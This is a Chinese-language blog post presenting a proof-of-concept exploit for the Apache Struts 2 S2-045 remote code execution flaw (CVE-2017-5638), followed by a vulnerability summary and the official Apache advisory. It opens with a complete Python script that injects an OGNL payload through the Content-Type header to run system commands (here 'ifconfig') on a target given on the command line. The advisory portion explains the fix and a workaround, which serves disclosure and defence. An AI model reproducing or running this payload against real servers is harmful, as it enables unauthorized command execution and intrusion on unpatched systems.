ST2-045 For POC
转载请注明: 转载自Legend‘s BLog
本文链接地址: ST2-045 For POC
利用方法:
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersdef poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()poc()
漏洞说明:
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
漏洞编号:
CVE-2017-5638
漏洞名称:
基于 Jakarta plugin插件的Struts远程代码执行漏洞
官方评级:
高危
漏洞描述:
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
漏洞利用条件和方式:
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
恶意攻击者精心构造Content-Type的值
通过版本比对定位漏洞原因:
\core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
\core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java
if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) {return LocalizedTextUtil.findText(this.getClass(), “struts.messages.error.uploading”, defaultLocale, null, new Object[] { e.getMessage() });} else {return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
}
漏洞影响范围:
- Struts 2.3.5 – Struts 2.3.31
- Struts 2.5 – Struts 2.5.10
- Created by Lukasz Lenart, last modified yesterday at 01:14 PM
Summary
Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.[td]
Who should read this | All Struts 2 developers and users |
---|---|
Impact of vulnerability | Possible RCE when performing file upload based on Jakarta Multipart parser |
Maximum security rating | High |
Recommendation | Upgrade to Struts 2.3.32 or Struts 2.5.10.1 |
Affected Software | Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 |
Reporter | Nike Zheng |
CVE Identifier | CVE-2017-5638 |
Problem
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.
Solution
If you are using Jakarta based file upload Multipart parser, upgrade to Apache Struts version 2.3.32 or 2.5.10.1. You can also switch to a different implementation of the Multipart parser.
Backward compatibility
No backward incompatibility issues are expected.
Workaround
Implement a Servlet filter which will validate Content-Type and throw away request with suspicious values not matching multipart/form-data.
ST2-045 For POC相关推荐
- 爬取--- https://www.exploit-db.com/ 下载POC较完善的代码【2】
OK 1,先进行爬取基础信息! 运行程序:[通过生成的CVE列表,多生成几个文件.后面会有用处的!] cve编号写入cve_num0.json成功![备份] cve编号写入cve_num1.json成 ...
- MySQL增量订阅消费组件Canal POC
POC的目的: 1.与MYSQL的对接方式,配置文档 2.订阅的延迟 3.订阅后宕机消息会不会丢失 4.能不能从指定的点开始重新订阅 5.高并发写入的时候,日志的顺序是否还能保持,不考虑消费的情况订阅 ...
- 如何构建一个成功的AI PoC(概念验证项目)
2020-01-13 18:50:11 作者:Arnault 编译:ronghuaiyang 导读 如何把你的人工智能想法转化为可用的软件. 建立一个 AI PoC 是困难的.在这篇文章中,我将解释我 ...
- h.264的POC计算
本文参考自http://wenku.baidu.com/link?url=ZPF0iSKzwLQg_8K02pnnd_-Zd6ISnsOGWsGYb98ucLkELZO4nOv-X-v2GKLzI3r ...
- Drupal 7.31 SQL注射分析POC
此漏洞昨日爆发 ,我们有时间去看看今天的代码. 于Drupal于,跑sql声明使用PDO型号,这是一般能够避免大部分的注射,由于使用占位符的sql语法语句是限制. 但是,这并不意味着绝对安全,. 在D ...
- 使用Python开发的POC多线程批量执行小框架
因为代码量非常少,所以就叫"小框架"吧. 接口非常简陋,但是好处是适配POC脚本的时候很灵活,兼容性高,不需要任何研究成本. 简单来说,你按照自己的想法和习惯开发一个POC验证程序 ...
- CVE-2017-11882 POC 全版本通杀
POC https://github.com/embedi/CVE-2017-11882 转载于:https://www.cnblogs.com/smxiazi/p/7875266.html
- Android Adobe Reader 任意代码执行分析(附POC)
livers · 2014/04/18 14:05 0x00 描述 前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞. 漏洞编号: CVE: 2014-05 ...
- 渗透中poc、exp、payload与shellcode的区别
PoC,全称"Proof of Concept",中文"概念验证",常指一段漏洞证明的代码. Exp,全称"Exploit",中文" ...
- POC测试——原型验证,降低风险,IT系统销售工作之一
POC测试,即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间 ...
最新文章
- 1、solr包结构介绍,solrCore的安装配置,solr部署到Tomcat,多solrCore配置,配置中文分词器,界面功能介绍,Schema.xml的基本使用,数据导入
- Codeforces刷题
- 福建三明市梅列区巧用“智慧梅列” 助推重大项目建设
- 训练日志 2019.3.28
- ZOJ 3209 Treasure Map DLX
- 南昌大学计算机网络通信用什么书,南昌大学_计算机网络教材.doc
- 微信小程序云开发教程-WXML入门-列表渲染
- 【单目标优化求解】基于matlab粒子群混沌混合蝴蝶优化算法求解最优目标问题(HPSOBOA)【含Matlab源码 1538期】
- python工厂模式和单例模式_python之单例模式和工厂模式
- vant中修改用户的头像
- 第三方公众号用 微信联合 登录
- Source Insight 使用技巧整理
- centos7是linux内核,在CentOS 7上用源代码编译最新的Linux内核
- ps ctrl+shift+j 切割瓶子
- html中JSON格式化输出
- ROS机器人操作系统学习笔记(三)ROS通信架构
- 全国人工智能师资培训班·上海站火热招生中
- 浅谈Linux下各种压缩 解压命令和压缩比率对比
- 十二、51单片机之DS1302(SPI)
- javaScript和css交互
热门文章
- cesium 局部加载_cesium自定义气泡窗口infoWindow后续优化篇 - GIS之家
- JAVA常见业务参加解决方案_大话业务场景与解决方案-做任务
- 7005.element-ui组件
- 兰州大学c语言课程作业答案,兰州大学C语言程序设计课程作业1.doc
- 用c++自制词法分析器_编译原理笔记 02 词法分析
- 14寸笔记本电脑_纯小白预算5000到6000有什么好的笔记本电脑推荐吗?
- 内核网络设备的注册与初始化
- DECLARE_GLOBAL_DATA_PTR
- 使用异步 I/O 大大提高应用程序的性能(来自IBM)
- STM32H7时钟树RCC分析--- CubeMx配置(三)